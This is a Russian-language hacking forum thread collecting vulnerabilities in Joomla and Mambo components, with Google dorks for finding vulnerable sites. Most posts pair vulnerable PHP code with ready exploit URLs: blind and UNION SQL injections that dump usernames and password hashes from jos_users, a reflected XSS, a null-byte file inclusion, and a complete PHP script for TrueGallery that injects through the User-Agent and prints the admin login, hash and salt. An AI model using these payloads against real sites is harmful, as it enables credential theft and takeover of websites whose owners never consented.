Старый 03.07.2010, 14:46   #1
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию Уязвимости Joomla/Mambo и компонентов

Joomla Component Bibliography Blind-SQL/pXSS

Уязвимый продукт: Joomla Component Bibliography
Версия: <= 1.3
Дорк: "inurl:com_bibliography"

1. Blind-SQL
Уязвимость в файле bibliography.php.
Уязвимый кусок кода:
PHP код:
$count_query  "SELECT id FROM ".$mosConfig_dbprefix."bibliography WHERE published = 1 AND catid=$catid";
$count_result $database->setquery($count_query);
$count_result $database->query();
$count        mysql_num_rows($count_result);
$gesamtseiten floor($count $gl_perpage); 
Из кода видно, что параметр $catid не обрамляется в кавычки и ранее нигде не фильтруется - это даёт нам возможность провести sql инъекцию.
Так же из кода видно, что полученное значение делится на число (количество страниц), а затем уже только выводится - это и есть причина слепоты в данной инъекции.


Exploit:
Код:
true: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=1/*
false: /index.php?option=com_bibliography&func=display&letter=&Itemid=&catid=1+and+1=2/*
2. Пассивная XSS

Уязвимость в файле bibliography.php.
Уязвимый кусок кода:

PHP код:
else{
if (
$letter=='All') echo "<font size='4'><strong>"._BIBLIOGRAPHY_ALL."</strong></font>";
elseif (
$letter=='Other') echo "<font size='4'><strong>"._BIBLIOGRAPHY_OTHER."</strong></font>";
elseif (
$letter=='[nothing]') echo "";
else echo 
"<font size='4'><strong>".$letter."</strong></font>"
Из кода видно, что параметр $letter не фильтруется.

Получаем пассивную XSS:

Код:
index.php?option=com_bibliography&func=display&Itemid=43&catid=25&letter=<script>alert(/grey/);</script>
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 14:47   #2
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Joomla Component Productbook Blind-SQL

Уязвимый продукт: Joomla Component Productbook
Версия: 1.0.4
Дорк: "inurl:com_productbook"

Blind SQL-INJ

Уязвимость в файле productbook.php.
Уязвимый кусок кода:

PHP код:
$database->setQuery("SELECT a.*, cc.name AS category "
               
" \n FROM #__productbook AS a, #__productbook_catg AS cc "
               
" \n WHERE a.catid=cc.cid AND a.id=$id "
               
" \n AND cc.access<='$gid'"); 
Exploit:
Код:
true: /index.php?option=com_productbook&Itemid=97&func=detail&id=351+and+1=1
false: /index.php?option=com_productbook&Itemid=97&func=detail&id=351+and+1=2

Последний раз редактировалось Ded MustD!e; 03.07.2010 в 15:02..
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 14:55   #3
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Joomla Component The Publications SQL-Inj

Уязвимый продукт: Joomla Component The Publications
Дорк: "inurl:com_publications"

Уязвимость в файле publications.php
Уязвимый код:
PHP код:
$query "SELECT * FROM #__content WHERE catid=$id  ORDER BY title DESC"
Exploit:
Код:
http://www.site.com/index.php?option=com_publications&Itemid=20&lang=en&id=6/**/and/**/1=0/**/union/**/select/**/1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9,10,11,12,13,14+from+jos_users--
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 14:58   #4
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Joomla Component Jeporter SQL-Inj

Уязвимый продукт: Joomla Component Jeporter
Версия: 2.0
Дорк: "inurl:com_jeporter"

Уязвимость в файле jeporter.php
Уязвимый код:
PHP код:
    $cid mosGetParam$_REQUEST'cid'false);

$sql "SELECT * FROM #__jeporter WHERE id= ".$cid;
        
$database->setQuery$sql );
        
$report NULL;
        
$database->loadObject$report );

        
$cid $report->id;
        
$title $report->title;
        
$jquery $report->jquery;
    
$sql "SELECT * FROM #__jeporter_fields WHERE jeportid= ".$cid;
    
$database->setQuery$sql);
    
$rows $database->loadObjectList(); 
Exploit:
Код:
http://site.com/index.php?option=com_jeporter&task=showreport&cid=-4+union+select+1,concat_ws(0x3a,username,password),3,4,5+from+jos_users--

Последний раз редактировалось Ded MustD!e; 03.07.2010 в 15:03..
Ded MustD!e вне форума   Ответить с цитированием
Старый 03.07.2010, 15:00   #5
oRb
 
Аватар для oRb
 
Регистрация: 01.07.2010
Сообщений: 319
Репутация: 138
По умолчанию

SQL-Injection
Компонент: DJ Catalog
Версия: 1.0.4
Требования: magic_quotes_gpc = off
Файл: /components/com_djcatalog/models/show.php
PHP код:
    function getAllElements(){
            
            global 
$mainframe;
        
$par =& $mainframe->getParams('com_djcatalog');
        
            
$limit        $par->get('limit_items_show');
            
            
$limitstart    JRequest::getVar('limitstart'0'''int');
            
$producer_id JRequest::getVar('pid'0'''int');
            
$search '';
            if(
JRequest::getVar('search','0','string')!='0'){
                
$search " AND name LIKE '%".JRequest::getVar('search','0','string')."%' ";
            }
            
            
$producer '';
            if(
$producer_id){
                
$producer ' AND producer_id LIKE '.$producer_id'';
            }
            
$order JRequest::getVar('order');
            
$db= &JFactory::getDBO();
            switch (
$order) { ... }
            
$query "SELECT * FROM #__djcat_items WHERE 1 ".$producer.$search.$orderQuery;
            
$db->setQuery($query);
            
$Arows $this->_getList($query$limitstart$limit);    

            return 
$Arows;
    } 
Эксплойт:
/index.php?option=com_djcatalog&view=show&search='+ and+0+union+select+1,2,3,username,5,password,7,8,9 ,10,11+from+%23__users%23
__________________
Не оказываю никаких услуг.
I don't provide any services.
oRb вне форума   Ответить с цитированием
Старый 03.07.2010, 15:01   #6
Ded MustD!e
Banned
 
Регистрация: 01.07.2010
Сообщений: 162
По умолчанию

Joomla Component com_clan_members Blind SQL-Inj

Уязвимый продукт: Joomla Component com_clan_members
Версия: 0.9.2.2b
Дорк: "inurl:com_clan_members"

Уязвимость в файле clan_members.html.php
Уязвимый код:
PHP код:
$database->setQuery("SELECT * FROM #__clan_members WHERE id = $id"  );
$member $database -> loadAssocList();
$database->setQuery("SELECT * FROM #__users WHERE id = $id AND block = '0'"  );
$usersdata $database -> loadAssocList();
$database->setQuery("SELECT * FROM #__clan_members_squadperuser WHERE uid=$id);
$rowsquadperuser $database -> loadObjectList();
$database->setQuery("SELECT * FROM #__clan_members_comment WHERE memberid=$id);
$rowmembercomment $database -> loadObjectList();
$database->setQuery("SELECT * FROM #__clan_members_fields WHERE published=1 ORDER BY ordering" );
$rowmemberfields $database -> loadObjectList();
#Check if the user is logged in into the side
$database->setQuery("SELECT count(distinct(userid)) as user_online FROM #__session WHERE guest=0 AND userid = $id");
$online $database->loadResult();
foreach(
$rowsquadperuser as $squadperuser)
    {
        
$database->setQuery("SELECT * FROM #__clan_members_squad WHERE published = '1' AND id = '$squadperuser->sid'"  );
        
$squadname $database -> loadAssocList();
        if(
$squadname[0]["squadpicture"] != '' || $squadname[0]["squadname"] != '')
        {
        
$squadpicture_array[$i+1] = $squadname[0]["squadpicture"];
        if(
$i == 0$squadnames .= $squadname[0]["squadname"]; else $squadnames .= ",".$squadname[0]["squadname"];
        
$i++;
        }
    } 
Exploit:
true ->
Код:
http://www.site.com/index.php?option=com_clan_members&id=62+and+1=1&task=showClanMemberDetails
false ->
Код:
http://www.site.com/index.php?option=com_clan_members&id=62+and+1=2&task=showClanMemberDetails
Ded MustD!e вне форума   Ответить с цитированием
Старый 29.12.2010, 15:10   #7
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

inurl:/plugins/system/ice_speed/

FPD
http://[host]/[path]/plugins/system/ice_speed/?f=1
}{оттабыч вне форума   Ответить с цитированием
Старый 02.01.2011, 06:15   #8
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

Какой то плагин вместе с модулем.



Одно бес другого не работает для авторизации на сайте
То как раз уязвимый плагин Core Design Scriptegrator plugin.

Как бе такой дорк:
inurl:\plugins\system\cdscriptegrator

LFI
magic_quotes_gpc = Off

PHP код:
define('DS'DIRECTORY_SEPARATOR);
$dir dirname(__FILE__);

$files = array();
if (isset(
$_GET['files']) && $_GET['files']) $files $_GET['files'];

if (
extension_loaded('zlib') && !ini_get('zlib.output_compression')) @ob_start('ob_gzhandler');

header('Content-type: text/css; charset=UTF-8');
header('Cache-Control: must-revalidate');
header('Expires: ' gmdate('D, d M Y H:i:s'time() + 86400) . ' GMT');

foreach (
$files as $file) {

    
// get extension, based on Joomla! JFile::getExt() function
    
$ext substr($filestrrpos($file'.') + 1);

    
$filepath $dir DS $file;

    if      (
is_file($filepath) and $ext === 'css') {
        include(
$filepath);
        echo 
"\n";
    }
}

?> 
PoC:
Код:
http://[host]/[path]/plugins/system/cdscriptegrator/libraries/highslide/css/cssloader.php?files[]=../index.html%00.css
}{оттабыч вне форума   Ответить с цитированием
Старый 25.01.2011, 23:50   #9
S00pY
 
Аватар для S00pY
 
Регистрация: 05.07.2010
Сообщений: 38
Репутация: 35
По умолчанию TrueGallery Error-based SQL-Injection

Error-based SQL-Injection
Компонент: TrueGallery
Версия: 2.0.2.0013(походу и более ранние)
dork:"inurl:com_true"

/components/com_true/sub_votepic.php
PHP код:

.........................

recordVote();

function 
recordVote() {
    global 
$database$my;
    
$id intval(@$_GET['id']);
    
$user_rating intval(@$_GET['user_rating']);
    if((
$user_rating >= 1) && ($user_rating <= 5)) {
        
$uip $_SERVER['REMOTE_ADDR'];
        
$host gethostbyaddr($_SERVER['REMOTE_ADDR']);
        
$browser $_SERVER['HTTP_USER_AGENT']; // <==== 0о
        
$current_date time();
        if(
$my->username) {
            
$vip "$uip$host$browser";
            
$user "$my->id";
        } else {
            
$vip "$uip$host$browser";
            
$user 'guest';
        }
        
$query "SELECT * FROM #__true_votes WHERE vpic = " . (int)$id;
        
$database->setQuery($query);
        
$votesdb null;
        if(!(
$database->loadObject($votesdb))) {
            
$query "INSERT INTO #__true_votes ( vpic, vip, vote, user, date ) VALUES ( $id, '$vip', '$user_rating', '$user', '$current_date' )";
            
$database->setQuery($query);
            
$database->query() or die($database->stderr());
            
$query "UPDATE #__true SET imgvotes = imgvotes + 1, imgvotesum = imgvotesum + " . (int)$user_rating " WHERE id = " . (int)$id;
            
$database->setQuery($query);
            
$database->query() or die($database->stderr());
        } else {
            if(!(
$votesdb->vpic == '$id' && $votesdb->vip == '$vip')) {
                
$query "INSERT INTO #__true_votes ( vpic, vip, vote, user, date ) VALUES ( $id, '$vip', '$user_rating', '$user', '$current_date' )";
                
$database->setQuery($query);
                
$database->query() or die($database->stderr());
                
$query "UPDATE #__true SET imgvotes = imgvotes + 1, imgvotesum = imgvotesum + " . (int)$user_rating " WHERE id = " . (int)$id;
                
$database->setQuery($query);
                
$database->query() or die($database->stderr());
            } else {
                echo 
0;
                exit();
            }
        }
        echo 
1;
    }

Мини-сплойт:
PHP код:
<?php
#dork:"inurl:com_true";
#use: sploit.php http://path_joomla

function send_data($url,$user_agent='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'){
    
    
$answ '';
    
$fcount 0;
    
$target parse_url($url);
    
$site $target['host'];
    
$path $target['path'];
    
$query $target['query'];

    
$sock fsockopen($site80$errno$errstr30) or die("\nwtf?Oo\n");

    
$data "GET ".$path."?".$query." HTTP/1.1\r\n";
    
$data .= "Host: $site\r\n";
    
$data .= "Content-type: application/x-www-form-urlencoded\r\n";
    
$data .= "Connection: Close\r\n";
    
$data .= "User-Agent: $user_agent\r\n";
    
$data .= "Referer: http://google.com\r\n";
    
$data .= "\r\n";
    
    
fwrite($sock,$data);

    while (!
feof($sock)) 
    {
        if(
$fcount >=10) break;
    
$answ .= fread($sock,255);
    ++
$fcount;
    }
 
    
fclose($sock);


    return 
$answ;

}

function 
_exploit($url){
    
    
$payload "',(select count(*) from (select 1 union select 2 union select 3)x group by concat((select concat_ws(':',username,password,'_') from jos_users limit 0,1),floor(rand(0)*2))),'guest','1') -- -";

    
$spl send_data($url,$payload);
    if(!(
preg_match('#Duplicate entry \'(.*?):(.*?):(.*?):_1#',$spl,$match))){die("\n fail.....\n");}
    
fwrite(STDOUT,"\n Username:{$match['1']}\n Password:{$match['2']}\n Salt:{$match['3']}\n");
}




fwrite(STDOUT,"\n TrueGallery 2.0.2.0013(*) SQL-INJ error-based exploit\n\n        -=https://rdot.org/forum/ 2011=-\n");
  
if(
$argc!== 2){ 
    die(
"\n Start falied! Use: sploit.php target\n Example sploit.php http://target/joomla\n"); 
}
$url $argv['1']."/components/com_true/sub_votepic.php?id=1&user_rating=1";
_exploit($url);
exit(
"\nBye :)\n");
?>
S00pY вне форума   Ответить с цитированием
Старый 24.03.2011, 04:34   #10
python-ptrace
Banned
 
Регистрация: 07.07.2010
Сообщений: 16
Репутация: 14
По умолчанию

скули в дефолтном ядре:
1.5.21 http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.5_21]_sql_injection
1.6.0 http://yehg.net/lab/pr0js/advisories/joomla/core/[joomla_1.6.0]_sql_injection
python-ptrace вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot